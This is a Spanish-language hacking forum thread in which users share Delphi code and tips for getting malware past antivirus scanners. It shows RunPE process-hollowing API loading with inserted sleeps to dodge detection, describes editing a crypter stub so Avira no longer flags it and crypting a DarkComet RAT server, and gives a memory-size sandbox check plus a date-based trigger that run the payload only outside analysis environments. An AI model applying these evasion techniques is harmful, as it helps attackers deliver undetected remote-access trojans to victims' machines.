antes
Begin
HandleKernel32   := MyLoadLibrary('kernel32.dll');
 HandleNtdll      := MyLoadLibrary('ntdll.dll');

  @CreatePro       := MyGetProcAddress(HandleKernel32, pchar('CreateProcessA'));
  
  @ZwUnmapViewOf   := MyGetProcAddress(HandleNtdll, pchar('ZwUnmapViewOfSection'));
     
	@ReadProces      := MyGetProcAddress(HandleKernel32, pchar('ReadProcessMemory'));
   
	@GetThreadCo     := MyGetProcAddress(HandleKernel32, pchar('GetThreadContext'));
 
  @VirtualAlloc    := MyGetProcAddress(HandleKernel32, pchar('VirtualAllocEx'));
Imagen

despues de agregar 4 sleeps
Begin
HandleKernel32   := MyLoadLibrary('kernel32.dll');
 HandleNtdll      := MyLoadLibrary('ntdll.dll');

  @CreatePro       := MyGetProcAddress(HandleKernel32, pchar('CreateProcessA'));
     sleep(100);
  @ZwUnmapViewOf   := MyGetProcAddress(HandleNtdll, pchar('ZwUnmapViewOfSection'));
     sleep(100);
	@ReadProces      := MyGetProcAddress(HandleKernel32, pchar('ReadProcessMemory'));
     sleep(100);
	@GetThreadCo     := MyGetProcAddress(HandleKernel32, pchar('GetThreadContext'));
      sleep(100);
  @VirtualAlloc    := MyGetProcAddress(HandleKernel32, pchar('VirtualAllocEx'));

  @VirtualProtect  := MyGetProcAddress(HandleKernel32, pchar('VirtualProtectEx'));

	@WriteProces     := MyGetProcAddress(HandleKernel32, pchar('WriteProcessMemory'));

  @SetThreadCo     := MyGetProcAddress(HandleKernel32, pchar('SetThreadContext'));
Imagen

el runpe usado es este

Mostrar/Ocultar

a quemaaaaaaaar!
paresco malo ,pero soy bueno
buen aporte
666699966999999996699966699999
666699966999999996699966969999
699999966999999996699966996999
666699966999999996699966999699
666699966999999996699966999699
699999996699999966999966996999
699999999669999669999966969999
699999999996666999999966699999
https://reversecodes.wordpress.com

http://indeseables.github.io/
avira detecta el stub del runpe como delphi gen
Imagen

se elimina con resource hacker
Imagen

y ahora el server de darckomet encriptado
con el stub modificado
Imagen

listo no va mas
saludos a todos....
paresco malo ,pero soy bueno
en esta pagina del 2014 hay muchos metodos [Enlace externo eliminado para invitados]
Bypass Antivirus Dynamic Analysis
hay unos metodos muy buenos de verdad
voy a intentar pasar algunos a delphi
paresco malo ,pero soy bueno
segun la traduccion
"Ejemplo 1: Compruebe la memoria del proceso
El uso de herramientas SysInternal me di cuenta de que cuando un AV escanea un proceso que afecta a su memoria. La AV voluntad
asignar memoria para que, también el código API proceso emulado volverá valores diferentes de lo que es
esperado. En este caso yo uso el
GetProcessMemoryInfo
en el proceso actual. Si este conjunto de trabajo actual
es más grande que 3500000 bytes considero que el código se ejecuta en un entorno AV, si no es el caso, el
código se descifra y se inicia.
no me queda claro , ( pero seria algo como
program Project2;

{$APPTYPE CONSOLE}

uses
  windows,
  SysUtils,
  ExtCtrls,
    classes,
  psapi;
  type
  PMethodPointer = ^TMethodPointer;
  TMethodPointer = packed record
    pMethod: Pointer;
    pObject: TObject;
  end;

  var
  resultado:cardinal;
   T            : TTimer;
  p            : TMethodPointer;
  i            : Integer;
               //source http stackover
function CurrentProcessMemory: Cardinal;
var
  MemCounters: TProcessMemoryCounters;
begin
  MemCounters.cb := SizeOf(MemCounters);
  if GetProcessMemoryInfo(GetCurrentProcess,
      @MemCounters,
      SizeOf(MemCounters)) then
    Result := MemCounters.WorkingSetSize
  else
    RaiseLastOSError;
end;
   procedure NotifyEvent(Self: TMethodPointer; Sender: TObject);
begin

end;
begin
writeln('antiemulacion precione enter para iniciar');
readln;
 T := TTimer.Create(nil);
  T.Interval := 5000;
  try
    p.pMethod := @NotifyEvent;
    p.pObject := nil;
    T.OnTimer := TNotifyEvent(p);

    T.Enabled := true;

   for i := 1 to 60 do
    begin
      sleep(1000);
       resultado:=CurrentProcessMemory ;
    //comprobamos cuanto gasta nuestro programa xxxxxxx y si es mayor a  xxxxxxx
    //no ejecutamos el codigo????

  if resultado <=1830000 then
   writeln('ejecutando malware  '+inttostr(resultado))
  else
    writeln('no  se puede ejecutar  '+inttostr(resultado));



    end;
    T.Enabled := false;
  finally
    T.Free;
readln;
     end;


end.
paresco malo ,pero soy bueno
jejej se me ocurrio una maldad aparte
str:= (FormatDateTime('dd/mm/yyyy hh:nn', Now()));
      
       resultado:=CurrentProcessMemory ;
    //comprobamos cuanto gasta nuestro programa xxxxxxx y si es mayor a  xxxxxxx
    //no ejecutamos el codigo????

  if (resultado <=1830000) and(str='08/09/2015 03:55') then
   writeln('ejecutando malware  '+inttostr(resultado))
  else
    writeln('no  se puede ejecutar  '+inttostr(resultado));
paresco malo ,pero soy bueno
te dejo mi traduccion:
usando systinternal tool me di cuenta que cuando un antivirus escanea un proceso este afecta su memoria.
El antivirus prodia reservar memoria para ello, ademas el emulado proceso de la api prodia retornar
diferentes valores esperados. En este caso use la GetProcessMemoryInfo sobre el proceso actual. Si el trabajo actual
es mayor que 3500000 bytes considero que el codigo esta corriendo dentro del entorno del antivirus(sandbox), si no es
el caso el codigo es desencriptado y ejecutado.

no soy muy bueno traduciendo XD
En simples palabras yo entendi que se obtiene el tamaño del proceso actual y si ese tamaño pasa los 3500000 bytes quiere decir que se encuentra dentro de un entorno virtual como el sandbox y esto sucede porque el antivirus reserva memoria que afecta el tamaño del proceso en curso al momento de estar escaneando.
Skype:crack8111
Responder

Volver a “Fuentes”